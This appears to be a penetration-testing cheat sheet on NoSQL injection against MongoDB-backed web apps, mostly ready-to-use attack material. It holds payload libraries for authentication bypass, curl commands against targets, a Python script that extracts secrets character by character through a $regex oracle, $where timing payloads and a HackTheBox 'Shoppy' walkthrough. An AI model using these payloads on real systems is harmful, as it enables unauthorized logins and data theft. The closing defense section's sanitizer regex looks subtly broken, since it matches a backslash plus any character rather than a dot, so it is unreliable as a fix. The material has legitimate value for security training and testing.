NoSQL Injection — Quick Reference
TL;DR — When You See This
NoSQL injection appears when an app (usually Node.js/Express + MongoDB, sometimes PHP + MongoDB/CouchDB) builds a query directly from user input — typical in:
- Login forms (
{ "username": user, "password": pass }) - Search / filter endpoints (
?username=...or JSON body) - Any API that echoes "invalid credentials" vs a successful login
Two flavors:
| Flavor | Where | Goal |
|---|---|---|
| Operator injection | JSON body / query string / PHP arrays | Bypass auth, tamper with query logic |
Syntax / $where injection |
Fields evaluated as JS ($where, mapReduce, db.eval) |
Boolean oracles, timing, RCE |
1. Detection
Send these and compare responses (login works / error changes / timing differs):
# 1. Basic tamper — normal
{"username": "admin", "password": "admin"}
# 2. Operator injection — if login succeeds with $ne, it's NoSQLi
{"username": {"$ne": null}, "password": {"$ne": null}}
# 3. Malformed JSON / quotes — error reveals the DB
{"username": "'", "password": "'"}
{"username": {"$where": "1"}, "password": {"$where": "1"}} # JS eval check
# 4. Type confusion — send an ARRAY where a string is expected
{"username": ["admin"], "password": ["admin"]}
# 5. Timing — $where with a busy loop (3s delay = JS is evaluated server-side)
{"username": {"$where": "function(){ var d=new Date(); while(new Date()-d<3000){} return true; }()"}, "password": {"$ne": "x"}}
Note:
$whereJS runs on the DB server — it has nosleep(), use the busy-loop
pattern above for timing, or a heavy$regex("a.*a.*a.*...") for regex-based timing.
2. Auth Bypass — Payload Library
JSON body (Content-Type: application/json) — the common case
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "x"}, "password": {"$ne": "x"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": {"$in": ["admin", "root"]}, "password": {"$gt": ""}}
curl -s http://target/login -X POST \
-H 'Content-Type: application/json' \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}'
URL-encoded query string (Express / PHP apps)
username[$ne]=x&password[$ne]=x
username[$gt]=&password[$gt]=
username[$regex]=.*&password[$regex]=.*
curl -s 'http://target/login' -X POST -d 'username[$ne]=x&password[$ne]=x'
PHP array syntax (application/x-www-form-urlencoded, PHP backends)
PHP converts username[$ne] into an array → if the app passes it straight into
the MongoDB query, the $ne operator survives:
username[$ne]=x&password[$ne]=x
Login as a SPECIFIC user
{"username": {"$eq": "admin"}, "password": {"$ne": "x"}}
{"username": "admin", "password": {"$ne": "x"}}
3. MongoDB Operators Quick Table
| Operator | Meaning | Bypass use |
|---|---|---|
$ne |
not equal | {"$ne": null} — match any doc where field ≠ null |
$gt / $gte |
greater than (or equal) | {"$gt": ""} — match any non-empty value |
$lt / $lte |
less than (or equal) | range filters |
$in / $nin |
in / not in array | {"$in": ["admin"]} |
$regex |
regex match | {"$regex": "^a"} — blind extraction oracle |
$exists |
field exists | {"$exists": true} |
$where |
JS expression eval | boolean oracle, timing, RCE (older versions) |
$and / $or |
logical | chain conditions |
4. Blind Extraction — $regex Boolean Oracle
When you can't see data but the response differs (login OK vs not), extract
character by character:
import requests, string
url = "http://target/api/search"
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_-{}@."
def oracle(pat):
"""Return True if the regex matches (app behaves differently)."""
body = {"username": {"$regex": f"^{pat}"}, "password": {"$ne": "x"}}
r = requests.post(url, json=body)
return "Welcome" in r.text # <-- adjust to your oracle marker
secret = ""
while True:
found = False
for c in charset:
if oracle(secret + c):
secret += c
print(f"[+] {secret}")
found = True
break
if not found:
break
print(f"[*] extracted: {secret}")
Notes:
- ^ anchors the start — {"$regex": "^admin"} matches docs starting with admin
- Escape regex metacharacters in the charset (\., \-, \{) if they appear in the target value
- Same technique works on search endpoints: ?username[$regex]=^a.*
5. $where — JavaScript Injection
If $where is evaluated, you get full JS inside the query:
// Boolean oracle
{"username": {"$where": "this.username == 'admin'"}}
{"username": {"$where": "this.password.length > 10"}}
// Timing (server-side JS runs — proves eval + enables time-based blind)
{"username": {"$where": "function(){ var d=new Date(); while(new Date()-d<5000){} return true; }()"}}
// Brute-force a value field-by-field (JS-style)
{"username": {"$where": "this.username[0] == 'a'"}}
RCE via $where / db.eval depends on MongoDB version (SpiderMonkey sandbox,
historical CVEs like CVE-2013-1892). On modern versions, treat $where as a
powerful boolean/timing oracle, not guaranteed RCE.
6. Worked Example — Shoppy-style (HTB) Login Bypass
Target: http://shoppy.htb/login — Node.js/Express + MongoDB.
# 1. Normal request fails
curl -s http://shoppy.htb/login -X POST \
-H 'Content-Type: application/json' \
-d '{"username": "admin", "password": "admin"}' | head
# 2. $ne bypass → logged in (redirect / 200 with dashboard)
curl -s http://shoppy.htb/login -X POST \
-H 'Content-Type: application/json' \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}' -i | head
# 3. After login: search endpoint often vulnerable too — enumerate users
curl -s -b 'cookie.txt' 'http://shoppy.htb/admin/search-users?username=admin'
curl -s -b 'cookie.txt' 'http://shoppy.htb/admin/search-users?username[$ne]=x'
# 4. Dump all usernames with $regex (blind oracle on the search results)
curl -s -b 'cookie.txt' 'http://shoppy.htb/admin/search-users?username[$regex]=^j'
Takeaways from the box: the login bypass gives you the admin panel, and the
search endpoint is usually the better injection point for data extraction
(user enumeration → creds → SSH).
7. Tools
# NoSQLMap
git clone https://github.com/codingo/NoSQLMap /opt/nosqlmap
cd /opt/nosqlmap && pip install -r requirements.txt
python nosqlmap.py --url 'http://target/login' \
--method POST \
--data '{"username":"x","password":"x"}' \
-p username
# Manual: Burp Suite Repeater + the payload library above is usually enough
# (JSON tab → send → compare responses; Intruder for $regex character brute)
8. Defense (Know the Fix)
// Node.js — DON'T pass req.body straight into the query
db.users.findOne({ username: req.body.username, password: req.body.password }); // ❌
// DO — validate types + use the ODM (mongoose) safely
if (typeof req.body.username !== 'string' || typeof req.body.password !== 'string') {
return res.status(400).send('invalid input');
}
db.users.findOne({ username: req.body.username, password: req.body.password }); // ✅ strings only
// Strip operator keys ($, .) from input before it reaches the DB
const sanitize = (o) => JSON.parse(JSON.stringify(o).replace(/\$|\\./g, ''));
- Reject non-string types (arrays/objects) at the API boundary
- Strip
$and.from keys — blocks operator injection - Use parameterized queries / ODMs — never concatenate raw input
- Least-privilege DB accounts; disable
$where/db.evalwhere possible
9. References
- PayloadsAllTheThings — NoSQL Injection:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection - NoSQLMap:
https://github.com/codingo/NoSQLMap - MongoDB
$wheredocs:https://www.mongodb.com/docs/manual/reference/operator/query/where/ - HTB Shoppy (Easy, Linux) — practical NoSQLi playground